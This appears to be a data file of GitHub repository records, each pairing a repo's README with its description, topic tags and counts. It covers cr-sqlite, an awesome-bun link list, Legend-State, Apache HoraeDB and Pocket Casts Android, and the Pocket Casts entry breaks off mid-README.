vlcn-io/cr-sqlite	# cr-sqlite - Convergent, Replicated, SQLite [![c-tests](https://github.com/vlcn-io/cr-sqlite/actions/workflows/c-tests.yaml/badge.svg)](https://github.com/vlcn-io/cr-sqlite/actions/workflows/c-tests.yaml) [![c-valgrind](https://github.com/vlcn-io/cr-sqlite/actions/workflows/c-valgrind.yaml/badge.svg)](https://github.com/vlcn-io/cr-sqlite/actions/workflows/c-valgrind.yaml) [![py-tests](https://github.com/vlcn-io/cr-sqlite/actions/workflows/py-tests.yaml/badge.svg)](https://github.com/vlcn-io/cr-sqlite/actions/workflows/py-tests.yaml) [![rs-tests](https://github.com/vlcn-io/cr-sqlite/actions/workflows/rs-tests.yml/badge.svg)](https://github.com/vlcn-io/cr-sqlite/actions/workflows/rs-tests.yml) A component of the [vulcan](https://vlcn.io) project. [![](https://dcbadge.vercel.app/api/server/AtdVY6zDW3)](https://discord.gg/AtdVY6zDW3) # Examples Example applications using cr-sqlite to sync state. - Vite starter - [Example](https://vite-starter2.fly.dev/) \| [Repository](https://github.com/vlcn-io/vite-starter) - TodoMVC - [Example](https://vlcn-live-examples.fly.dev/) \| [Repository](https://github.com/vlcn-io/live-examples) - [Svelte Store](https://github.com/Azarattum/CRStore) - [Tutorials](https://vlcn.io/docs/cr-sqlite/networking/whole-crr-sync) - [WIP Local-First Presentation Editor](https://github.com/tantaman/strut) - Basic setup & sync via an [Observable Notebook](https://observablehq.com/@tantaman/cr-sqlite-basic-setup) # "It's like Git, for your data." CR-SQLite is a [run-time loadable extension](https://www.sqlite.org/loadext.html) for [SQLite](https://www.sqlite.org/index.html) and [libSQL](https://github.com/libsql/libsql). It allows merging different SQLite databases together that have taken independent writes. In other words, you can write to your SQLite database while offline. I can write to mine while offline. We can then both come online and merge our databases together, without conflict. In technical terms: cr-sqlite adds multi-master replication and partition tolerance to SQLite via conflict free replicated data types ([CRDTs](https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type)) and/or causally ordered event logs. # When is this useful? 1. Syncing data between devices 2. Implementing realtime collaboration 3. Offline editing 4. Being resilient to network conditions 5. Enabling instantaneous interactions All of the above involve a merging of independent edits problem. If your database can handle this for you, you don't need custom code in your application to handle those 5 cases. Discussions of these problems in the application space: - [Meta Muse](https://museapp.com/podcast/56-sync/) - [FB Messenger re-write](https://softwareengineeringdaily.com/2020/03/31/facebook-messenger-engineering-with-mohsen-agsen/) # Sponsors Companies: <a href="https://turso.tech"><img src="https://images.ctfassets.net/8fv5t5my8687/01j7yaLj77zqmYK62Y49g7/aee841e7bd176864aa5388448db0f8ef/iku-turquoise.svg" width="64" /></a> <a href="https://fly.io"><img src="https://fly.io/static/images/brand/brandmark.svg" height="64" /></a> <a href="https://reflect.app/"><img src="https://reflect.app/_next/image?url=%2Fsite%2Ficons%2F1024x1024.png&w=64&q=100" /></a><a href="https://expo.dev"><img src="https://avatars.githubusercontent.com/u/12504344?s=200&v=4" width="64" /></a> <a href="https://electric-sql.com"><img width="108" alt="Screenshot 2023-11-16 at 8 29 27 AM" src="https://github.com/vlcn-io/cr-sqlite/assets/1009003/5c0c8ab3-005a-4b03-ba0a-de7ed213e26d"></a> Individuals: [robinvasan](https://github.com/robinvasan) \| [iansinnott](https://github.com/iansinnott) \| [davefowler](https://github.com/davefowler) \| [barbalex](https://github.com/barbalex) \| [MohannadNaj](https://github.com/MohannadNaj) # Perf Perf data: https://github.com/vlcn-io/cr-sqlite/blob/main/py/perf/perf.ipynb - Currently inserts into CRRs are 2.5x slower than inserts into regular SQLite tables. - Reads are the same speed # Usage The full documentation site is available [here](https://vlcn.io/docs). `crsqlite` exposes three main APIs: - A function extension (`crsql_as_crr`) to upgrade existing tables to "crrs" or "conflict free replicated relations" - `SELECT crsql_as_crr('table_name')` - A virtual table (`crsql_changes`) to ask the database for changesets or to apply changesets from another database - `SELECT "table", "pk", "cid", "val", "col_version", "db_version", "site_id", cl, seq FROM crsql_changes WHERE db_version > x AND site_id = crsql_site_id()` -- to get local changes - `SELECT "table", "pk", "cid", "val", "col_version", "db_version", "site_id", cl, seq FROM crsql_changes WHERE db_version > x AND site_id != some_site_id` -- to get all changes excluding those synced from some actor - `INSERT INTO crsql_changes VALUES ([patches received from select on another peer])` - And `crsql_begin_alter('table_name')` & `crsql_alter_commit('table_name')` primitives to allow altering table definitions that have been upgraded to `crr`s. - Until we move forward with extending the syntax of SQLite to be CRR aware, altering CRRs looks like: ```sql SELECT crsql_begin_alter('table_name'); -- 1 or more alterations to `table_name` ALTER TABLE table_name ...; SELECT crsql_commit_alter('table_name'); ``` A future version of cr-sqlite may extend the SQL syntax to make this more natural. Application code uses the function extension to enable crr support on tables. Networking code uses the `crsql_changes` virtual table to fetch and apply changes. Usage looks like: ```sql -- load the extension if it is not statically linked .load crsqlite .mode qbox -- create tables as normal create table foo (a primary key not null, b); create table baz (a primary key not null, b, c, d); -- update those tables to be crrs / crdts select crsql_as_crr('foo'); select crsql_as_crr('baz'); -- insert some data / interact with tables as normal insert into foo (a,b) values (1,2); insert into baz (a,b,c,d) values ('a', 'woo', 'doo', 'daa'); -- ask for a record of what has changed select "table", "pk", "cid", "val", "col_version", "db_version", "site_id", "cl", "seq" from crsql_changes; ┌───────┬─────────────┬─────┬───────┬─────────────┬────────────┬──────────────────────────────────────┬────┬─────┐ │ table │ pk │ cid │ val │ col_version │ db_version │ "site_id" │ cl │ seq │ ├───────┼─────────────┼─────┼───────┼─────────────┼────────────┼──────────────────────────────────────┼────┼─────┤ │ 'foo' │ x'010901' │ 'b' │ 2 │ 1 │ 1 │ x'049c48eadf4440d7944ed9ec88b13ea5' │ 1 │ 0 │ │ 'baz' │ x'010b0161' │ 'b' │ 'woo' │ 1 │ 2 │ x'049c48eadf4440d7944ed9ec88b13ea5' │ 1 │ 0 │ │ 'baz' │ x'010b0161' │ 'c' │ 'doo' │ 1 │ 2 │ x'049c48eadf4440d7944ed9ec88b13ea5' │ 1 │ 1 │ │ 'baz' │ x'010b0161' │ 'd' │ 'daa' │ 1 │ 2 │ x'049c48eadf4440d7944ed9ec88b13ea5' │ 1 │ 2 │ └───────┴─────────────┴─────┴───────┴─────────────┴────────────┴──────────────────────────────────────┴────┴─────┘ -- merge changes from a peer insert into crsql_changes ("table", "pk", "cid", "val", "col_version", "db_version", "site_id", "cl", "seq") values ('foo', x'010905', 'b', 'thing', 5, 5, X'7096E2D505314699A59C95FABA14ABB5', 1, 0); insert into crsql_changes ("table", "pk", "cid", "val", "col_version", "db_version", "site_id", "cl", "seq") values ('baz', x'010b0161', 'b', 123, 101, 233, X'7096E2D505314699A59C95FABA14ABB5', 1, 0); -- check that peer's changes were applied sqlite> select * from foo; ┌───┬─────────┐ │ a │ b │ ├───┼─────────┤ │ 1 │ 2 │ │ 5 │ 'thing' │ └───┴─────────┘ select * from baz; ┌─────┬─────┬───────┬───────┐ │ a │ b │ c │ d │ ├─────┼─────┼───────┼───────┤ │ 'a' │ 123 │ 'doo' │ 'daa' │ └─────┴─────┴───────┴───────┘ -- tear down the extension before closing the connection -- https://sqlite.org/forum/forumpost/c94f943821 select crsql_finalize(); ``` # Packages Pre-built binaries of the extension are available in the [releases section](https://github.com/vlcn-io/cr-sqlite/releases). These can be loaded into `sqlite` via the [`load_extension` command](https://www.sqlite.org/loadext.html#loading_an_extension) from any language (Python, NodeJS, C++, Rust, etc.) that has SQLite bindings. The entrypoint to the loadable extension is [`sqlite3_crsqlite_init` ](https://github.com/vlcn-io/cr-sqlite/blob/92df9b4f3a6bdf2bd7c5d9a76949496fa5dc88cf/core/src/crsqlite.c#L536) so you'll either need to provide that to `load_extension` or rename your binary to `crsqlite.[dylib/dll/so]`. See the linked sqlite [`load_extension` docs](https://www.sqlite.org/loadext.html#loading_an_extension). ``` load_extension(extension_path, 'sqlite3_crsqlite_init') ``` > Note: if you're using `cr-sqlite` as a run time loadable extension, loading the extension should be the _first_ operation you do after opening a connection to the database. The extension needs to be loaded on every connection you create. For a WASM build that works in the browser, see the [js](https://github.com/vlcn-io/js) directory. For UI integrations (e.g., React) see the [js](https://github.com/vlcn-io/js) directory. # How does it work? There are two approaches with very different tradeoffs. Both will eventually be supported by `cr-sqlite`. `v1` (and current releases) support the first approach. `v2` will support both approaches. ## Approach 1: History-free CRDTs Approach 1 is characterized by the following properties: 1. Keeps no history / only keeps the current state 2. Automatically handles merge conflicts. No options for manual merging. 3. Tables are Grow Only Sets or variants of Observe-Remove Sets 4. Rows are maps of CRDTs. The column names being the keys, column values being a specific CRDT type 5. Columns can be counter, fractional index or last write wins CRDTs. 1. multi-value registers, RGA and others to come in future iterations Tables which should be synced are defined as a composition of other types of CRDTs. Example table definition: ```sql CREATE CLSet post ( id INTEGER PRIMARY KEY NOT NULL, views COUNTER, content PERITEXT, owner_id LWW INTEGER ); ``` > note: given that extensions can't extend the SQLite syntax this is notional. We are, however, extending the libSQL syntax so this will be available in that fork. In base SQLite you'd run the `select crsql_as_crr` function as seen earlier. - CLSet - [causal length set](https://dl.acm.org/doi/pdf/10.1145/3380787.3393678) - COUNTER - [distributed counter](https://www.cs.utexas.edu/~rossbach/cs380p/papers/Counters.html) - PERITEXT - [collaborative text](https://www.inkandswitch.com/peritext/) Under approach 1, merging two tables works roughly like so: 1. Rows are identified by primary key 2. Tables are unioned (and a delete log is consulted) such that both tables will have the same rows. If a row was modified in multiple places, then we merge the row. Merging a row involves merging each column of that row according to the semantics of the CRDT for the column. 1. Last-write wins just picks the lastest write 2. Counter CRDT sums the values 3. Multi-value registers keep all conflicting values 4. Fractional indices are taken as last write For more background see [this post](https://vlcn.io/blog/gentle-intro-to-crdts.html). Notes: - LWW, Fractional Index, Observe-Remove sets are available now. - Counter and rich-text CRDTs are still [being implemented](https://github.com/vlcn-io/cr-sqlite/issues/65). - Custom SQL syntax will be available in our libSQL integration. The SQLite extension requires a slightly different syntax than what is depicted above. ## Approach 2: Causal Event Log > To be implemented in v2 of cr-sqlite Approach 2 has the following properties: 1. A history of every modification that happens to the database is kept 1. This history can be garbage collected in certain network topologies 2. Merge conflicts can be automatically handled (via CRDT style rules) or the developer can define their own conflict resolution plan. 3. The developer can choose to fork the data on merge conflict rather than merging 4. Forks can live indefinitely or a specific fork can be chosen and other forks dropped This is much more akin to git and event sourcing but with the drawback being that it is much more write heavy and much more space intensive. # Building For a stable version, build against a [release tag](https://github.com/vlcn-io/cr-sqlite/releases) as main may not be 100% stable. You'll need to install Rust. - Installing Rust: https://www.rust-lang.org/tools/install ## [Run Time Loadable Extension](https://www.sqlite.org/loadext.html) Instructions on building a native library that can be loaded into SQLite in non-wasm environments. ```bash rustup toolchain install nightly # make sure you have the rust nightly toolchain git clone --recurse-submodules git@github.com:vlcn-io/cr-sqlite.git cd cr-sqlite/core make loadable ``` This will create a shared library at `dist/crsqlite.[lib extension]` [lib extension]: - Linux: `.so` - Darwin / OS X: `.dylib` - Windows: `.dll` ## WASM For a WASM build that works in the browser, see the [js](https://github.com/vlcn-io/js) repository. ## CLI Instructions on building a `sqlite3` CLI that has `cr-sqlite` statically linked and pre-loaded. In the `core` directory of the project, run: ```bash make sqlite3 ``` This will create a `sqlite3` binary at `dist/sqlite3` ## Tests core: ```bash cd core make test ``` py integration tests: ```bash cd core make loadable cd ../py/correctness ./install-and-test.sh ``` # JS APIs JS APIs for using `cr-sqlite` in the browser are not yet documented but exist in the [js repo](https://github.com/vlcn-io/js). You can also see examples of them in use here: - [Observable Notebook](https://observablehq.com/@tantaman/cr-sqlite-basic-setup) - https://github.com/vlcn-io/live-examples # Research & Prior Art cr-sqlite was inspired by and built on ideas from these papers: - [Towards a General Database Management System of Conflict-Free Replicated Relations](https://munin.uit.no/bitstream/handle/10037/22344/thesis.pdf?sequence=2) - [Conflict-Free Replicated Relations for Multi-Synchronous Database Management at Edge](https://hal.inria.fr/hal-02983557/document) - [Merkle-CRDTs](https://arxiv.org/pdf/2004.00107.pdf) - [Time, Clocks, and the Ordering of Events in a Distributed System](https://lamport.azurewebsites.net/pubs/time-clocks.pdf) - [Replicated abstract data types: Building blocks for collaborative applications](http://csl.skku.edu/papers/jpdc11.pdf) - [CRDTs for Brrr](https://josephg.com/blog/crdts-go-brrr/)	Convergent, Replicated SQLite. Multi-writer and CRDT support for SQLite	crdt,database,sqlite	37	13	262	2,161	40	42	6
oven-sh/awesome-bun	<p align="center"> <br> <img width="160" src="./awesome-bun.png" alt="logo of awesome-bun repository"> <br> <br> </p> <h2 align='center'>Awesome Bun</h2> <p align='center'> A curated list of awesome things related to <a href='https://github.com/oven-sh/bun'>Bun</a> <br><br> <a href='https://github.com/sindresorhus/awesome'> <img src='https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg' alt='Awesome'> </a> </p> Bun is an incredibly fast JavaScript runtime, bundler, transpiler and package manager – all in one. ## Contents - [Essentials](#essentials) - [Articles](#articles) - [Boilerplates](#boilerplates) - [Extensions](#extensions) - [Videos](#videos) - [Tools](#tools) - [Community](#community) - [Contributing](#contributing) - [License](#license) ## Essentials - [Website](https://bun.sh/) - [Docs](https://bun.sh/docs) - [Examples](https://github.com/oven-sh/bun/tree/main/examples) ## Articles - [Exploring Bun](https://jenil777007.hashnode.dev/lets-bun) - [Scaffolding your bun project](https://codetea.com/scaffolding-your-bun-project-boilerplate/) - [Bun Tutorial – Getting Started Guide With Examples](https://codedamn.com/news/backend/bun-js-tutorial-2022) - [Create a react app with bun](https://dev.to/ashirbadgudu/create-a-react-app-with-bun-125o) - [Let's create a next.js app with bun](https://dev.to/ashirbadgudu/lets-create-a-nextjs-app-with-bun-48l6) - [Bun: A Complete Overhaul of the JavaScript Ecosystem](https://www.lunasec.io/docs/blog/bun-first-look/) - [Server-Side Rendering (SSR) With Bun and React](https://alexkates.dev/server-side-rendering-ssr-with-bun-and-react) ## Boilerplates - [Bun on Railway - Starter](https://github.com/FarazPatankar/bun-on-railway) - [Bun on Dev Containers & GitHub Codespaces](https://github.com/alertbox/try-bun) - [Create Bun Boilerplates](https://github.com/guocaoyi/create-bun) - [React Bun Template for Gitpod](https://github.com/Joshuafrankle/bun-react) - [React-Typescript template](https://github.com/anjiboss/react-ts-template-for-bun) - [Bun Lib Starter](https://github.com/wobsoriano/bun-lib-starter) - [tRPC + Bun](https://github.com/sachinraja/trpc-bun) - [remix-bun](https://github.com/jacob-ebey/remix-bun-testing) - [Bun Template for Gitpod](https://github.com/gitpod-io/bun-on-gitpod) - [Nixpacks Bun web server](https://github.com/railwayapp/nixpacks/tree/main/examples/node-bun-web-server) - [sveltekit-bun-template](https://github.com/TheOtterlord/sveltekit-bun-template) - [react-nostalgia-boilerplate](https://github.com/boilertowns/react-nostalgia-boilerplate) - [Bun OpenAI Whisper Microservice with Docker](https://github.com/Illyism/whisper-docker) - [DBest Stack](https://github.com/itsyoboieltr/dbest-stack) ## Extensions ### Frameworks - [Elysia](https://github.com/elysiajs/elysia) - Fast, and friendly Bun web framework. - [Stric](https://stricjs.netlify.app) - A Bun-first framework for building high performance and scalable web applications and APIs. - [Vixeny](https://github.com/mimiMonads/vixeny) - A fast, pure functional web framework for Bun and Deno. - [Hono](https://github.com/honojs/hono) - Ultrafast web framework for Cloudflare Workers, Deno, and Bun. Fast, but not only fast. - [Grace](https://docs.gracejs.dev) - An innovative, type-safe and easy-to-use API framework. - [Primate](https://primatejs.com) - Expressive, minimal and extensible web framework. - [NBit](https://github.com/sstur/nbit) - A zero-dependency, strongly-typed web framework for Bun, Node and Cloudflare workers. - [GraphQL Yoga](https://github.com/dotansimha/graphql-yoga) - A fast, fully featured GraphQL Framework that [runs on Bun](https://the-guild.dev/graphql/yoga-server/v3/integrations/integration-with-bun), Cloudflare Workers, Deno, and any JS environment. - [Gamepadzilla](https://github.com/RodrigoDornelles/npm-gamepadzilla/) A plug-and-play gamepad frontend framework for HTML5 mobile games, supporting both virtual and physical joysticks. _No scripting required._ ### Libraries - [@stricjs/utils](https://github.com/bunsvr/utils) - A set of blazingly fast, general-purpose web utilities. - [Hattip](https://github.com/hattipjs/hattip) - Set of JavaScript packages for building HTTP server applications, with Bun support. - [Siopao](https://github.com/wobsoriano/siopao) - Minimal routing library. Based on Radix Tree. - [Fluxify](https://github.com/simylein/fluxify) - A neat little library powered by Bun for building apis. - [GraphQL Mesh](https://github.com/urigo/graphql-mesh) - Gateway that takes any source API and exposes GraphQL. Runs on Bun, Cloudflare Workers, Deno, and any JS environment. - [bun-types](https://www.npmjs.com/package/bun-types) - Typescript with Bun. ### Utilities - [bun-fs-router-plugin](https://github.com/m1212e/bun-fs-router-plugin) - Bundler plugin to enable filesystem based routing at build time - [bun-utilities](https://www.npmjs.com/package/bun-utilities) - Bindings for useful functions for bun. - [bun-livereload](https://github.com/jarred-sumner/bun-livereload) - Automatically reload any imports. - [bun-html-live-reload](https://github.com/aabccd021/bun-html-live-reload) - Automatically reload html when Bun server hot reloads. - [bun-wifi-name](https://github.com/wobsoriano/bun-wifi-name) - Get current wifi name in Bun. - [serve-static-bun](https://www.npmjs.com/package/serve-static-bun) - Serve static files using Bun.serve or Bao.js. - [bun-promptx](https://github.com/wobsoriano/bun-promptx) - Terminal prompt library based on bubbles via bun:ffi. - [blipgloss](https://github.com/wobsoriano/blipgloss) - Style definitions for nice terminal layouts 👄. - [Orama](https://github.com/oramasearch/orama) - 🌌 Fast, in-memory, typo-tolerant, full-text search engine written in TypeScript. - [bnx](https://github.com/wobsoriano/bnx) - zx inspired shell for Bun/Node. - [bun-aws-lambda](https://github.com/Jarred-Sumner/bun-aws-lambda) - Hacky attempt to get bun to run on AWS Lambda - [postgres-bun](https://github.com/lawrencecchen/postgres-bun) - fast postgres bindings for bun runtime (libpq ffi) ### Adapters - [svelte-adapter-bun](https://github.com/catdadcode/svelte-adapter-bun) - Adapter for SvelteKit apps that generates a standalone Bun server. - [kysely-bun-sqlite](https://www.npmjs.com/package/kysely-bun-sqlite) - Kysely with SQLite, running on Bun. - [fable-bun](https://github.com/AngelMunoz/fable-bun) - Fable bindings for Bun.sh. - [duckdb](https://github.com/evanwashere/duckdb) - 🦆 fast duckdb bindings for bun runtime. ## Videos [EN] 🇬🇧 - [JavaScript just got way faster - Fireship](https://www.youtube.com/watch?v=FMhScnY0dME) - [What is Bun](https://www.youtube.com/watch?v=Rp5yvwX7orE) - [Install Bun JS In Windows - Faster JavaScript](https://www.youtube.com/watch?v=aNL3gXW0ZuM) - [Install and Run Bun JS In Real Server](https://www.youtube.com/watch?v=lDGrDOGyOr0) - [How to create and run Next.js App on Bun JavaScript Runtime](https://www.youtube.com/watch?v=U4sX83dlZx8) - [How to create and run React App on Bun JavaScript Runtime](https://www.youtube.com/watch?v=UrO2UhA8SQE) - [New JS runtimes Deno & Bun - Shawn Swyx Wang](https://www.youtube.com/watch?v=ORI29ot_Zck) [ES] 🇪🇸 - [Esta tecnología es mejor y más rápida que Node.js ¡DESCÚBRELA!](https://www.youtube.com/watch?v=WzcCVPoX2wQ) ## Tools - [bun.new](http://bun.new) - Instant Bun playground in browser. - [Bum](https://github.com/owenizedd/bum) - A fast Bun version manager written in Rust. - [sublime-bun](https://github.com/alexkuz/sublime-bun) - Bun binary files viewer and other Bun-related stuff for Sublime Text editor. - [Shumai](https://github.com/AltriusRS/Shumai) - A delicious new outlook on command line argument handling with Bun. - [asdf-bun](https://github.com/cometkim/asdf-bun) - asdf version manager plugin for installing Bun. - [setup-bun](https://github.com/oven-sh/setup-bun) - Set up your GitHub Actions workflow with a specific version of Bun. - [action-setup-bun](https://github.com/antongolub/action-setup-bun) - Setup GitHub Actions workflow with a specific version of Bun. - [bun-discord-bot](https://github.com/MiraBellierr/bun-discord-bot) - Interaction Discord bot written in JS and TS using Bun runtime environment. - [bun-discord-bot(serverless)](https://github.com/xHyroM/bun-discord-bot) - Official serverless discord bot for bun discord server. - [bunbot](https://github.com/wobsoriano/bunbot) - Native cross-platform GUI automation for the Bun runtime. Supports Mac and Windows for now. - [Discall](https://github.com/Discall-Development/Discall) - A async functional discord API wrapper written in bun. - [bun-doc](https://github.com/William-McGonagle/bun-doc) - A procedural documentation and website generator written in Bun. - [VS Code Bun extension](https://marketplace.visualstudio.com/items?itemName=oven.bun-vscode) - VS Code extension to execute JavaScript .js file or TypeScript .ts file by Bun. ## Community - [Discord](https://bun.sh/discord) - [Bun tagged NPM packages](https://bun-modules.pages.dev) - [Benchmarks](https://github.com/xHyroM/benchmarks) - [Framework benchmarks](https://github.com/bunsvr/benchmark) - Comparing Bun HTTP frameworks. - [Bun HTTP Framework Benchmark](https://github.com/SaltyAom/bun-http-framework-benchmark) - Compare throughput benchmark from various Bun HTTP frameworks. - [sveltekit-adapter-bun](https://github.com/bun-community/sveltekit-adapter-bun) ## Contributing This repository is built for the community. Submit packages, articles, blogs, videos and more that utilizes Bun to share with the developer community. Please refer to [CONTRIBUTING.md](/CONTRIBUTING.md) for details. ## License [![CC0](http://mirrors.creativecommons.org/presskit/buttons/88x31/svg/cc-zero.svg)](http://creativecommons.org/publicdomain/zero/1.0/)	⚡️ A curated list of awesome things related to Bun	awesome,awesome-list,bun,awesome-bun,bunjs	0	32	78	152	2	1	0
LegendApp/legend-state	# Legend-State Legend-State is a super fast all-in-one state and sync library that lets you write less code to make faster apps. Legend-State has four primary goals: ### 1. 🦄 As easy as possible to use There is no boilerplate and there are no contexts, actions, reducers, dispatchers, sagas, thunks, or epics. It doesn't modify your data at all, and you can just call `get()` to get the raw data and `set()` to change it. In React components you can call `use()` on any observable to get the raw data and automatically re-render whenever it changes. ```jsx import { observable, observe } from "@legendapp/state" import { observer } from "@legendapp/state/react" const settings$ = observable({ theme: 'dark' }) // get returns the raw data settings$.theme.get() // 'dark' // set sets settings$.theme.set('light') // Computed observables with just a function const isDark$ = observable(() => settings$.theme.get() === 'dark') // observing contexts re-run when tracked observables change observe(() => { console.log(settings$.theme.get()) }) const Component = observer(function Component() { const theme = state$.settings.theme.get() return <div>Theme: {theme}</div> }) ``` ### 2. ⚡️ The fastest React state library Legend-State beats every other state library on just about every metric and is so optimized for arrays that it even beats vanilla JS on the "swap" and "replace all rows" benchmarks. At only `4kb` and with the massive reduction in boilerplate code, you'll have big savings in file size too. <p> <img src="https://www.legendapp.com/img/dev/state/times.png" /> </p> See [Fast 🔥](https://www.legendapp.com/open-source/state/v3/intro/fast/) for more details of why Legend-State is so fast. ### 3. 🔥 Fine-grained reactivity for minimal renders Legend-State lets you make your renders super fine-grained, so your apps will be much faster because React has to do less work. The best way to be fast is to render less, less often. ```jsx function FineGrained() { const count$ = useObservable(0) useInterval(() => { count$.set(v => v + 1) }, 600) // The text updates itself so the component doesn't re-render return ( <div> Count: <Memo>{count$}</Memo> </div> ) } ``` ### 4. 💾 Powerful sync and persistence Legend-State includes a powerful [sync and persistence system](../../usage/persist-sync). It easily enables local-first apps by optimistically applying all changes locally first, retrying changes even after restart until they eventually sync, and syncing minimal diffs. We use Legend-State as the sync systems in [Legend](https://legendapp.com) and [Bravely](https://bravely.io), so it is by necessity very full featured while being simple to set up. Local persistence plugins for the browser and React Native are included, with sync plugins for [Keel](https://www.keel.so), [Supabase](https://www.supabase.com), [TanStack Query](https://tanstack.com/query), and `fetch`. ```js const state$ = observable( users: syncedKeel({ list: queries.getUsers, create: mutations.createUsers, update: mutations.updateUsers, delete: mutations.deleteUsers, persist: { name: 'users', retrySync: true }, debounceSet: 500, retry: { infinite: true, }, changesSince: 'last-sync', }), // direct link to my user within the users observable me: () => state$.users['myuid'] ) observe(() => { // get() activates through to state$.users and starts syncing. // it updates itself and re-runs observers when name changes const name = me$.name.get() }) // Setting a value goes through to state$.users and saves update to server me$.name.set('Annyong') ``` ## Install `bun add @legendapp/state` or `npm install @legendapp/state` or `yarn add @legendapp/state` ## Highlights - ✨ Super easy to use 😌 - ✨ Super fast ⚡️ - ✨ Super small at 4kb 🐥 - ✨ Fine-grained reactivity 🔥 - ✨ No boilerplate - ✨ Designed for maximum performance and scalability - ✨ React components re-render only on changes - ✨ Very strongly typed with TypeScript - ✨ Persistence plugins for automatically saving/loading from storage - ✨ State can be global or within components [Read more](https://www.legendapp.com/open-source/state/v3/intro/why/) about why Legend-State might be right for you. ## Documentation See [the documentation site](https://www.legendapp.com/open-source/state/). ## Community Join us on [Discord](https://discord.gg/5CBaNtADNX) to get involved with the Legend community. ## 👩‍⚖️ License [MIT](LICENSE) --- Legend-State is created and maintained by [Jay Meistrich](https://github.com/jmeistrich) with [Legend](https://www.legendapp.com) and [Bravely](https://www.bravely.io). <p> <a href="https://www.legendapp.com"><img src="https://www.legendapp.com/img/LogoTextOnWhite.png" height="56" alt="Legend" /></a> <span>    </span> <a href="https://www.bravely.io"><img src="https://www.legendapp.com/img/bravely-logo.png" height="56" alt="Bravely" /></a> </p>	Legend-State is a super fast and powerful state library that enables fine-grained reactivity and easy automatic persistence	null	0	28	61	2,685	44	26	1
apache/horaedb	![HoraeDB](docs/logo/horaedb-banner-white-small.jpg) ![License](https://img.shields.io/badge/license-Apache--2.0-green.svg) [![CI](https://github.com/apache/incubator-horaedb/actions/workflows/ci.yml/badge.svg)](https://github.com/apache/incubator-horaedb/actions/workflows/ci.yml) [![OpenIssue](https://img.shields.io/github/issues/apache/incubator-horaedb)](https://github.com/apache/incubator-horaedb/issues) [![HoraeDB Docker](https://img.shields.io/docker/v/apache/horaedb-server?logo=docker&label=horaedb-server)](https://hub.docker.com/r/apache/horaedb-server) [![HoraeMeta Docker](https://img.shields.io/docker/v/apache/horaemeta-server?logo=docker&label=horaemeta-server)](https://hub.docker.com/r/apache/horaemeta-server) [中文](./README-CN.md) Apache HoraeDB (incubating) is a high-performance, distributed, cloud native time-series database. > [!IMPORTANT] > Apache HoraeDB (incubating) is an effort undergoing incubation at the Apache > Software Foundation (ASF), sponsored by the Apache Incubator PMC. > > Please read the [DISCLAIMER](DISCLAIMER) and a full explanation of ["incubating"](https://incubator.apache.org/policy/incubation.html). ## Documentation - [User Guide](https://horaedb.apache.org) - [Development Guide](https://horaedb.apache.org/dev/compile_run.html) - [Roadmap](https://horaedb.apache.org/dev/roadmap.html) ## Quick Start ### Run with Docker #### Run HoraeDB standalone Server ``` docker run -d --name horaedb-server \ -p 8831:8831 \ -p 3307:3307 \ -p 5440:5440 \ ghcr.io/apache/horaedb-server:nightly-20231222-f57b3827 ``` #### Run HoraeDB cluster with two horaedb-server node and one horaemeta-server node. ``` docker compose -f docker/docker-compose.yaml up ``` ### Run from source code See details [here](https://horaedb.apache.org/dev/compile_run.html). ### Create Table and Write/Read data Create Table. ``` curl --location --request POST 'http://127.0.0.1:5440/sql' \ -d ' CREATE TABLE `demo` ( `name` string TAG, `value` double NOT NULL, `t` timestamp NOT NULL, timestamp KEY (t)) ENGINE=Analytic with (enable_ttl="false") ' ``` Write data with SQL. ``` curl --location --request POST 'http://127.0.0.1:5440/sql' \ -d ' INSERT INTO demo (t, name, value) VALUES (1702224000000, "horaedb", 100) ' ``` Read data with SQL. ``` curl --location --request POST 'http://127.0.0.1:5440/sql' \ -d ' SELECT * FROM `demo` ' ``` Drop table. ``` curl --location --request POST 'http://127.0.0.1:5440/sql' \ -d ' Drop TABLE `demo` ' ``` ## Community Thrive together in Apache HoraeDB (incubating) community with users and developers from all around the world. - Discuss at [dev mailing list](mailto:dev-subscribe@horaedb.apache.org) ([subscribe](mailto:dev-subscribe@horaedb.apache.org?subject=(send%20this%20email%20to%20subscribe)) / [unsubscribe](mailto:dev-unsubscribe@horaedb.apache.org?subject=(send%20this%20email%20to%20unsubscribe)) / [archives](https://lists.apache.org/list.html?dev@horaedb.apache.org)) - Send [request](mailto:dev@horaedb.apache.org?subject=(Request%to%20join%20HoraeDB%20slack)) to `dev@horaedb.apache.org` to join HoraeDB slack channel - Or you can join our [dingtalk group](https://github.com/apache/incubator-horaedb-docs/blob/main/static/dingtalk.jpg) Read our [Contributing Guide](CONTRIBUTING.md) and make your first contribution! ## Acknowledgment When develop we benefit a lot from several other open source projects, such as [influxdb_iox](https://github.com/influxdata/influxdb/tree/main), [tikv](https://github.com/tikv/tikv) etc, thanks for their awesome work. ## License [Apache License 2.0](./LICENSE)	Apache HoraeDB (incubating) is a high-performance, distributed, cloud native time-series database.	database,distributed-database,rust,tsdb,cloud-native,iot-database,timeseries-analysis,timeseries-database,sql,horaedb	14	61	1,092	1,204	108	18	10
Automattic/pocket-casts-android	<p align="center"> <img src="https://user-images.githubusercontent.com/308331/194037473-41ad7eba-8602-4be5-be73-49e3c0c48c12.svg#gh-light-mode-only" /> <img src="https://user-images.githubusercontent.com/308331/194041226-4c6d8181-cafa-4ea8-8735-1d8106f5e5f6.svg#gh-dark-mode-only" /> </p> <p align="center"> <a href="https://buildkite.com/automattic/pocket-casts-android"><img src="https://badge.buildkite.com/dc67ef3537ad6cf097ff193b28063347418205a341d55f9940.svg?branch=main" /></a> <a href="https://github.com/Automattic/pocket-casts-android/blob/main/LICENSE.md"><img src="https://img.shields.io/badge/license-MPL-blue" /></a> </p> <p align="center"> Pocket Casts is the world's most powerful podcast platform, an app by listeners, for listeners. </p> ## Install If you're just looking to install Pocket Casts Android, you can find it on [Google Play](https://play.google.com/store/apps/details?id=au.com.shiftyjelly.pocketcasts). If you're a developer wanting to contribute, read on. ## Build Instructions 1. Make sure you've installed [Android Studio](https://developer.android.com/studio/index.html). 2. In Android Studio, open the project from the local repository. 3. Go to Tools → Device Manager and create an emulated device. 4. Go to Run → Edit Configurations… and create an Android App configuration. 5. Select the module "pocketcasts-android.app.main". 6. Run. ## Build and Test To build, install, and test the project from the command line: $ ./gradlew :app:assembleDebugProd # assemble the debug .apk $ ./gradlew :app:installDebugProd # install the debug .apk to a connected device $ ./gradlew :app:testDebugUnitTest # 